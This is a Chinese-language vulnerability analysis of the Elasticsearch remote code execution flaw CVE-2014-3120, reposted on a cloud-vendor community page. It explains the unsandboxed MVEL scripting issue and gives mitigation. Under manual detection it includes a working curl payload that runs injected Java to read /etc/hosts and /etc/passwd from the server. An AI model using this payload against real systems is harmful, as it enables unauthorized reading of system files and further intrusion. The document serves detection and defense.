Elasticsearch遠程任意代碼執行漏洞(CVE-2014-3120)分析

來源:互聯網
上載者:User

原理

這個漏洞實際上非常簡單,Elasticsearch有指令碼執行(scripting)的功能,可以很方便地對查詢出來的資料再加工處理。

Elasticsearch用的指令碼引擎是MVEL,這個引擎沒有做任何的防護,或者沙箱封裝,所以直接可以執行任意代碼。

而在Elasticsearch裡,預設配置是開啟動態指令碼功能的,因此使用者可以直接通過http請求,執行任意代碼。

其實官方是清楚這個漏洞的,在文檔裡有說明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.

檢測方法

線上檢測:

http://tool.scanv.com/es.html 可以檢測任意地址

http://bouk.co/blog/elasticsearch-rce/poc.html 只檢測localhost,不過會輸出/etc/hosts和/etc/passwd檔案的內容到網頁上

自己手動檢測:

curl -XPOST 'http://localhost:9200/_search?pretty' -d '{  "size": 1,  "query": {    "filtered": {      "query": {        "match_all": {}      }    }  },  "script_fields": {    "/etc/hosts": {      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"    },    "/etc/passwd": {      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"    }  }}'
處理辦法

關掉執行指令碼功能,在設定檔elasticsearch.yml裡為每一個結點都加上:

script.disable_dynamic: true

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方會在1.2版本預設關閉動態指令碼。

https://github.com/elasticsearch/elasticsearch/issues/5853

參考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.